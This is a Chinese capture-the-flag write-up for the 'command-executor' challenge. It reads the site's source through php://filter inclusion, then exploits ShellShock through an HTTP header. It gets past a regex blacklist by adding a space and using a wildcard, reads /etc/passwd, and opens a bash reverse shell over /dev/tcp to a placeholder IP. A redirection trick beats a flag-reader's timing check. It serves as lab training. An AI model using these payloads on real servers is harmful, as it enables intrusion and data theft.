24.command-executor
這里先給出題目鏈接:
https://command-executor.hackme.inndy.tw/?這是一道不錯(cuò)的ctf題,首先說一下考察點(diǎn):
文件包含讀源碼 代碼分析結(jié)合CVE CVE導(dǎo)致的命令執(zhí)行 寫入文件/反彈shell 思考c文件的解法 重定向獲取flag?我們先看一下題目主頁面:
發(fā)現(xiàn)有敏感的選項(xiàng),我們嘗試點(diǎn)擊:
發(fā)現(xiàn)可以遍歷目錄,但是對(duì)輸入的命令有限制,只能執(zhí)行l(wèi)s,env 。
但是我們觀察上圖發(fā)現(xiàn)有幾個(gè)php的文件名有似曾相識(shí)的感覺,比如 cmd.php , ls.php ,
?man.php , untar.php 這幾個(gè)php的文件名 ls , cmd , untar 像是url中func包含過來的參數(shù),
這樣的話,是不是存在文件包含漏洞,我們構(gòu)造poc:
php://filter/read=convert.base64-encode/resource=index?這樣的話,我們用func接受這個(gè)參數(shù),就可以讀到base64加密過后的index.php文件:
成功讀到base64加密過后的index.php文件,我們解密分析:
<?php $pages = [['man', 'Man'],['untar', 'Tar Tester'],['cmd', 'Cmd Exec'],['ls', 'List files'], ];function fuck($msg) {header('Content-Type: text/plain');echo $msg;exit; }$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};' ];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}} }waf($_SERVER); waf($_GET); waf($_POST);function execute($cmd, $shell='bash') {system(sprintf('%s -c %s', $shell, escapeshellarg($cmd))); }foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') { putenv("$key=$val");} }$page = '';if(isset($_GET['func'])) {$page = $_GET['func'];if(strstr($page, '..') !== false) {$page = '';} }if($page && strlen($page) > 0) {try {include("$page.php");} catch (Exception $e) {} }我們發(fā)現(xiàn)了一個(gè)比較敏感的putenv()函數(shù),這個(gè)函數(shù)的作用是用來向環(huán)境表中添加或者修改環(huán)境變量
結(jié)合唯一可以執(zhí)行的env命令想到2014年的一個(gè)重大漏洞:
?
CVE-2014-6271 破殼(ShellShock)漏洞?
?具體漏洞詳情我會(huì)在稍后的博客中復(fù)現(xiàn)這個(gè)漏洞,清持續(xù)關(guān)注我的博客。
這里先貼出Freebuf的分析連接:
http://www.freebuf.com/articles/system/45390.html確定了漏洞,就是嘗試可用exp的時(shí)候了,這時(shí)候可以容易google到
這樣一篇文章:
?其中重點(diǎn)的一段如下:
可以清楚看到這樣一個(gè)payload:
并且和這個(gè)測(cè)試樣本和我們題目中給出的代碼十分相似:
foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') {putenv("$key=$val");} }于是我們先去嘗試一下適用性:
可以發(fā)現(xiàn)我們被waf攔截了:
\(\)\s*\{\s*:;\s*\}; detected! exit now.回去分析index.php的waf過濾點(diǎn):
$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};' ];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}} }可以看到如上一個(gè)黑名單,
我們的
?正是被這個(gè)黑名單禁止了,但是這樣的waf存在極大隱患,我們只要加個(gè)空格就可以輕松繞過:
X-Exploit: () { : ; };?我們?cè)俅喂粢淮卧囋?#xff1a;
wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"可以看到Hacked成功被打印出來,說明我們的poc起了作用,下面我們開始執(zhí)行命令,
不過需要注意的是,shellshock執(zhí)行命令需要加上/bin/ , 比如 cat 命令直接讀是讀不出來的,
需要 /bin/cat 才可以,我們嘗試讀 /etc/password : /bin/cat /etc/password
wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"發(fā)現(xiàn)命令可以成功執(zhí)行,下面我們就用命令ls來尋找flag:
https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../我們嘗試使用cat來讀一下flag文件:
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"?
oh,shit...又被waf攔了
這里有沒有辦法繞過/flag呢?
這里給出兩條思路:
1.shell拼接,比如a=/fl;b=ag;c=a+b這樣(此處寫的不嚴(yán)謹(jǐn),有興趣可以自己去研究一下) 2.通配符繞過?這里我選擇第二點(diǎn):
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"但這次并沒有回顯打出,但也沒有報(bào)錯(cuò),考慮是應(yīng)為文件權(quán)限導(dǎo)致,
回去查看文件權(quán)限:
發(fā)現(xiàn)只有root才可讀....
發(fā)現(xiàn)下面有一個(gè)c語言寫的flag-reader.c,這個(gè)文件倒是有讀的權(quán)限,
我們讀一下他看有什么線索:
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"打出回顯:
<!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8"><title>Command Executor</title><link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all"><link rel="stylesheet" href="comic-neue/font.css" media="all"><style>nav { margin-bottom: 1rem; }img { max-width: 100%; }</style></head><body><nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex"><a class="navbar-brand" href="index.php">Command Executor</a><ul class="navbar-nav"><li class="nav-item"><a class="nav-link" href="index.php?func=man">Man</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=untar">Tar Tester</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=cmd">Cmd Exec</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=ls">List files</a></li></ul></nav><div class="container"><h1>Command Execution</h1> <ul><li><a href="index.php?func=cmd&cmd=ls">ls</a></li><li><a href="index.php?func=cmd&cmd=env">env</a></li></ul> <form action="index.php" method="GET"><input type="hidden" name="func" value="cmd"><div class="input-group"><input class="form-control" type="text" name="cmd" id="cmd"><div class="input-group-append"><input class="btn btn-primary" type="submit" value="Execute"></div></div> </form> <script>cmd.focus();</script> <h2>$ env</h2><pre>#include <unistd.h> #include <syscall.h> #include <fcntl.h> #include <string.h>int main(int argc, char *argv[]) {char buff[4096], rnd[16], val[16];if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {write(1, "Not enough random\n", 18);}setuid(1337);seteuid(1337);alarm(1);write(1, &rnd, sizeof(rnd));read(0, &val, sizeof(val));if(memcmp(rnd, val, sizeof(rnd)) == 0) {int fd = open(argv[1], O_RDONLY);if(fd > 0) {int s = read(fd, buff, 1024);if(s > 0) {write(1, buff, s);}close(fd);} else {write(1, "Can not open file\n", 18);}} else {write(1, "Wrong response\n", 16);} } </pre></div></body> </html>審計(jì)這個(gè)c程序,大致原理就是:1秒之內(nèi)把他輸出的再輸入回去,就可以打出文件內(nèi)容
此時(shí)我們的思路很簡單,運(yùn)行這個(gè)c程序,再把這個(gè)c程序輸出在1s內(nèi)再輸回去,但是純靠這樣的交互,
速度極慢,所以容易想到,要不要拿個(gè)shell?
這里給出2種拿shell的思路
1.反彈shell 2.找到可寫目錄,并寫入文件,利用文件包含即可?這里我選擇反彈shell(因?yàn)楹竺孢€會(huì)寫文件,所以這里選擇反彈,就不寫了)
wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"?然后一會(huì)兒就能收到shell
而下面就只要解決如何在1s內(nèi)輸入c文件輸出的結(jié)果這個(gè)問題了
這里我選擇了linux下的重定向,我們將輸出寫到某個(gè)文件中,再自動(dòng)輸入即可,這樣即可達(dá)到目的
我們先去探索可寫目錄,發(fā)現(xiàn) /var/tmp具有寫權(quán)限
我們測(cè)試一下:
然后來看寫進(jìn)去了沒有:
成功寫入文件,證明這個(gè)目錄可以利用,我們構(gòu)造:
flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag?即可在skyflag中讀到flag
?
轉(zhuǎn)載于:https://www.cnblogs.com/bmjoker/p/9537667.html
總結(jié)
以上是生活随笔為你收集整理的24.command-executor的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python调用R语言,关联规则可视化
- 下一篇: Java通过FTP服务器上传下载文件的方